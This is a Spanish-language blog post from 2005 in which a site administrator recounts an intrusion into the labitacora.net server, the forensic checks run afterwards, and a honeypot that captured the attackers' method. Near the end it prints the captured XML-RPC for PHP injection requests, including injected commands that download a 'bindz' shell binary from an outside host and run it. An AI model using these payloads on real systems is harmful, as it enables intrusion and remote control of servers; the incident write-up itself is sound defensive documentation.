Etiquetas

,

28 Julio 2005

Llevamos unos días que las desgracias nos persiguen, lo que ha llevado a que labitacora.net últimamente haya tenido un servicio muy irregular, parecíamos más las marismas de Guadiana que un sitio web.

Todos nuestros desatinos empezaron el pasado 13 de julio que sufrimos una intrusión por parte de unos crackers (que no hackers). Si hay algo que pone realmente nervioso a un administrador de sistemas es mirar el fichero de usuarios (/etc/passwd) y ver que tienes un nuevo usuario que no lo has creado tú y que tiene permisos de administrador (root) y si además el susodicho se llama KILL, pués para que queremos más.

En esos momentos cualquier administrador responsable, corre unos comandos para guardar la información volátil y apaga la máquina para realizar un análisis forense del sistema, nosotros como somos cualquier cosa menos eso, y además no teníamos ni idea como habían conseguido introducirse y es fundamental conocer eso para tapar lo agujeros pertinentes, tampoco teníamos mucho tiempo para estar realizando un análisis concienzudo y además somos un poco inconscientes y decidimos darnos una vuelta por el sistema estando este encendido a ver si conseguimos la información necesaria tapamos los huecos y aquí no ha pasado nada.

Es cierto que hace unos meses sufrimos un phishing por parte de unos crackers rusos y aunque fue molesto estos nunca llegaron a ser Administradores cosa que estos sí que lo habían conseguido.
Lo primero que hice fue mirar el history del root para ver que comandos habían ejecutado como tales, no había mucha cosa básicamente habían mandado un correo a la cuenta hackers123@hotmail.com supongo que para vanagloriarse de su azaña.
Luego optamos por un ps -ef para ver procesos sospechosos y allí nos aparece un proceso llamado /usr/local/bin/httpd ?. En este servidor los procesos del apache se llaman apache ya que la instalación de éste no está realizada desde los fuentes sino los paquetes de debian así que está claro que ese proceso no es nuestro, y además el fichero no existe, hago un lsof -i y veo que tengo un puerto abierto el 6667 (típico de los ircs) y que está conectado a otro 6667, la cosa apunta muy fea.

Hago un búsqueda del fichero por el disco duro y me encuentro con un script en perl que lo que hace es conectarse a un irc y se comporta como un bot de este.
La cosa no pintaba nada bien lanzo un w, who y last. Y veo que estoy sólo en la máquina pero nuestro bicho Kill ha realizado una entrada desde una máquina exterior, apunto la IP. Así que opto por borrar el usuario y por apuntar el fallo (que no será el único) de permitir acceder como root directamente. Lo que hay instalado en está máquina es una Knoppix,, y aunque es una gran distribución basada en debian para ordenadores de escritorio no está pensada para trabajar en servidores y la configuración que trae por defecto tiene ciertas opciones que no son lo suyo para servidores, aquí durante dos años tuvimos una debían woody, pero cuando se nos quemo la placa base debido a las prisas por tener el servidor funcionando optamos por una Knoppix, que no es lo suyo.

Visto que tenemos a nuestros intrusos metidos hasta la cocina realizamos un pequeño análisis forense para ver que más picias nos han hecho.

Primero buscamos ficheros y directorios ocultos y nos apareció un directorio .al muy sospechoso en /usr/share/zoneinfo con un par de backdoors y un fichero index.html con direcciones de troyanos y rootkits para linux. Como vemos todo muy reconfortante.

Luego buscamos ficheros con setuid y setguid
ls -la `find / -perm +4000 2>/dev/null`
También aparecieron unos cuantos ficheros que permitían la escalada de privilegios hasta root. Está claro que se querían asegurar de diversas formas el volver a ser root.

Buscamos ficheros recientemente modificados con ls y stats
ls / -laR –full-time | grep 2005-07-13 | cut -c 46- | sort > ficheros.txt
stats

Buscamos rootkits instalados
chkrootkit
rkhunter
No apareció nada ¿??

Buscamos logs extraños:
No existían ficheros de log, nuestros intrusos habían parado el demonio syslogd y lo habían eliminado del arranque, así que aunque se rearrancase la máquina este demonio no se ejecutaba. Además habían borrado parte de los ficheros típicos de logs (messages, syslog y daemon.log)
Curiosamente no tocaron el fichero error.log del apache donde aparecían entradas sospechosas que indicaban que se habían recibido ficheros y hasta mostraba el nombre del fichero transferido, esto fue lo primero que me hizo sospechar que la vulnerabilidad tenía que venir por el puerto 80.

Miramos los últimos accesos
last
Aquí salió el acceso del usuario Kill

Y a realizamos un pequeño análisis forense para ver que otros ficheros habían sido modificados.

Ficheros creados, modificados y accedido.
fls -r -l -f linux-ext3 -z CST -m / > /FicherosModificados.txt

Ficheros borrados
ils -f linux-ext3 -m / >> /FicherosModificados.txt

Pasamos la información a usuarios, grupos y un formato de fecha más legible
mactime -b /FicherosModificados.txt -g /reto2/hda/etc/group -p /reto2/hda/etc/passwd -z CST6CDT > /FicherosModificadosMactime.txt

dls -f linux-ext3 /imagenes/hda1.dd >> /FicherosNoalojados.txt

En el fondo demasiada información hace falta mucho tiempo y paciencia para estudiar la cantidad de información que generan estas herramientas.

Decido actualizar el sistema con los nuevos paquetes de seguridad, porque está claro que por algún agujero han tenido que entrar, es un sistema que tiene debian por el cual los paquetes que tienen algún agujero de seguridad se reparan y se ubican en otra rama, esto permite a los usuarios actualizar únicamente los paquetes que tienen fallos de seguridad.
apt-get dist-update
Sólo me actualiza el Gaim ¿???? No es muy buena señal, da la impresión que Debian tiene un poco olvidado la actualización de paquetes con agujeros de seguridad.

Llegado a este punto tengo bastante información de lo que me han hecho pero no de cómo han entrado, este servidor en su día fue un auténtico bunker e incluso tenía una página php que no mostraba los intentos de ataque, pero poco a poco fui eliminando las restricciones de seguridad y el registro de operaciones sospechosas debido a que nunca sufríamos un ataque en condiciones y comía muchísimos recursos que los necesitábamos para el funcionamiento en condiciones de la máquina. Os podéis imaginar cuanto los echaba de menos en este momento.

Para ver que posibles agujeros de seguridad tenemos opté por correr nessus y tiger, y para mi sorpresa no mostraron ninguna alerta seria, sólo unos cuantos warnings sin importancia.
La cosa estaba muy fea, aunque corrí chkrootkit instalándolo desde 0 no podía estar seguro de que no me hubiesen instalado un rootkit, es absurdo mirar módulos del kernel raros ya que Knoppix te activa muchísimos y no es fácil poder distinguir cuales son útiles y en cual puede estar por ejemplo el adore. Tampoco podía saber si me habían modificado binarios (cuanto eche de menos a tripwire) ya que debian no tiene ningún comprobador de md5 a nivel de fichero y aunque tiene la utilidad debsum (debsums -l -s) a nivel de paquete, muchos paquetes no tienen el md5 por lo que la ejecución de comando no nos dice mucho.

En este punto estaba bastante disgustado conmigo, por haber sido tan confiado, está claro que siempre puedes sufrir una intrusión, pero lo que no tiene perdón es no tener unas cuantas herramientas de loggeo y de seguimiento para poder saber que te han hecho, tampoco estaba muy contento con Debian es la única gran distribución de linux que no depende de una empresa y siempre se la ha conocido como la más portada, la más estable, ya que tiene sus tres famosas ramas, y muy segura y lo que estaba viendo de un único paquete en el repositorio de seguridad por actualizar desde hace tiempo me da que pensar que tienen un poco olvidado ese asunto y además no tener algo al estilo rpm (rpm –root=/ -Va > /rpm_md5.txt) para poder ver la integridad de los paquetes y ficheros me parece un gran error.

También detecte que nuestros “amigos” estaban mandando correos electrónicos con virus desde nuestra máquina, así que ya no me quedó más remedio que darle un apagón definitivo al servidor. Primero la quite de la red y posteriormente fue ella misma quien decidió el apagón definitivo al estropeársele la fuente de alimentación.
Para salir del paso optamos por instalar el servidor en un portátil que tenemos sin pantalla, aquí siendo conscientes de que nuestros invasores caerían sobre él les preparamos una especie de honeypot, preparamos la máquina para poder loggear todo lo que nos hiciesen y descubrir sus movimientos. Instalé un acct, un snort, capturamos todo el trafico de red con tethreal, y los logs de acceso a puertos con iptables, además lo suyo hubiese sido haber enviado los logs a otra máquina pero como no contamos con ella, los replicamos a otro directorio.

Y pusimos nuestra web como si de un tarro de miel (honeypot) se tratase esperando que cayesen las abejas.
Y efectivamente por la noche volvieron al ataque, pero esta vez les estábamos esperando. Entraron en nuestra máquina por la misma vulnerabilidad que teníamos en el anterior host y dejando todo el rastro de lo que hacían. Lo bueno, ahora, era que teníamos controlado todo lo que nos habían hecho lo malo era que teníamos la máquina comprometida y que no queríamos estar más tiempo sin servicio.

Examinando posteriormente la intrusión vimos claramente como utilizan una vulnerabilidad del php concretamente sobre el servicio xmlrpc (XML-RPC for PHP Remote Code Injection Vulnerability) para ejecutar el código que les interesa en la máquina. Cuidado porque casi todos los blogs usan el xml-rpc para propagar sus entradas, entre ellos WordPress que es lo que usamos aquí, el bug fue publicado el 29 de junio del 2005 así que se han dado prisa por usarlo, concretamente uno de los intrusos es una persona que ha reportado varias vulnerabilidades del php, pero esa es otra historia que ya contaré más adelante.
La primera petición por el puerto 80 que nos hicieron:

POST /xmlrpc.php HTTP/1.1

Host: labitacora.net
Content-Type: text/xml
Content-Length:195

< ?xml version=”1.0″?>test.method
‘,’’));echo ‘_begin_
‘;echo `ls`;echo ‘_end_’;exit;/*

Posteriormente se bajan herramientas de sus webs para ejecutar: una shell y poder acceder a través de un telnet y no a través de la web.

“1.0″?>test.method
‘,’’));echo ‘_begin_
‘;echo `cd /tmp;wget http://ekart.kocaali.com/ekart/.asc/.xpl/bindz;ls`;echo ‘_end_’;exit;/*

< ?xml version=”1.0″?>test.method
‘,’’));echo ‘_begin_
‘;echo `cd /tmp;chmod 777 bindz;./bindz`;echo ‘_end_’;exit;/*

Y a partir de ahí acceden a la máquina a través de un telnet:

uid=33(www-data) gid=33(www-data) groups=33(www-data) sh-3.00$
cd /tmp
ls

Suben exploits para poder ser root ya que actualmente la shell que están ejecutando tiene los permisos del usuario de apache.
En mi caso se aprovecharon de la vulnerabilidad userlib() para conseguir permisos de administrador aunque subieron y probaron unos cuantos exploits.
A partir de hay lo que hicieron fue instalarme un rootkit concretamente el shv7
Y ejecutaron un script en perl (poor.txt) para conectarse a un irc y funcionar como bot de él.

Para colmo el ordenador original que albergaba a labitacora.net se le ha quemado la fuente de alimentación y la placa base (al final ha habido suerte y la placa funciona).
Así a día de hoy estamos funcionando con el portátil sin pantalla y comprometido aunque con unas cuantas ñapas caseras para que no puedan entrar de la misma forma que nos lo hicieron, aun así no tenemos la certeza absoluta de que no nos hayan instalado una puerta trasera que no hayamos descubierto. En cuanto nos hagamos con una nueva fuente de alimentación volveremos a reinstalar todo el sistema y esta vez lo dejaremos mejor preparado para posibles intrusiones. A un siendo conscientes que es imposible parar muchos ataques lo que si es posible es minimizar las consecuencias.

Anuncios